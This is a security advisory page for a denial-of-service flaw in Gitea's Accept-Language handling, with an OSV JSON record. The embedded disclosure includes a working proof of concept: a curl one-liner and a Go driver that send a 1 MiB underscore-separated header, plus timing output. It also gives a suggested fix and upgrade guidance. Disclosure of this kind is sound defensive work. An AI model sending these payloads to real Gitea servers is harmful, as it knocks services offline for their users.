CVE-2026-58436: Gitea Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-fw57-jgch-pgf3
CWE-1333 CWE-407
Published
Advisory Summary

CVE-2026-58436 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Gitea libraries in the Go ecosystem. The issue involves parseacceptlanguage quadratic-time dos via locale middleware on unauthenticated requests. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58436 at a Glance

CVE Identifier CVE-2026-58436
GHSA Identifier GHSA-fw57-jgch-pgf3
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-58436

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58436, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `gitea/gitea:1.22.6` image with no other tuning): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through go-gitea/gitea 1.22.6 Locale middleware at modules/web/middleware/locale.go:38. Target: http://127.0.0.1:13000/ warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s ``` Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 1 - 7 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms | | 1 MiB `_` separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 26 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. ### Impact - One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Gitea installations published to the public internet (the common pattern) are exposed. ### Suggested fix Apply the size / character-class filter before reaching `ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling: ```go // modules/web/middleware/locale.go const maxAcceptLanguageSeparators = 32 // matches typical real browser values if len(lang) == 0 { al := req.Header.Get("Accept-Language") if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators { // Refuse to call into the BCP 47 parser with absurd input. al = "" } tags, _, _ := language.ParseAcceptLanguage(al) tag := translation.Match(tags...) lang = tag.String() } ``` A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input. ### Credit Reported by tonghuaroot.

CVE-2026-58436 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58436?
CVE-2026-58436 is a security vulnerability in Gitea involving ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests under CWE-1333: Inefficient Regular Expression Complexity.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58436?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What CWE is associated with CVE-2026-58436?
CVE-2026-58436 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check Go dependencies for CVE-2026-58436?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fw57-jgch-pgf3",
  "modified" : "2026-07-21T21:15:47Z",
  "published" : "2026-07-21T21:15:47Z",
  "aliases" : [ "CVE-2026-58436" ],
  "summary" : "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests",
  "details" : "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser's internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n  `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n  on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from 'Accept-Language'.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n   fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n   header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner's `len <= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) <= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := &http.Client{\n        Timeout: 60 * time.Second,\n        Transport: &http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1<<20))\n    send(\"attack ('_' x 1MiB)\",     buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1<<20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms\n\n--- measurements (single request each) ---\n  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms\n  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms\n  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms\n  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s\n  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s\n  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 1 - 7 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n  MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n  10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n  abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n  common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n    al := req.Header.Get(\"Accept-Language\")\n    if strings.Count(al, \"-\")+strings.Count(al, \"_\") > maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        al = \"\"\n    }\n    tags, _, _ := language.ParseAcceptLanguage(al)\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38323"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:15:47Z",
    "nvd_published_at" : null
  }
}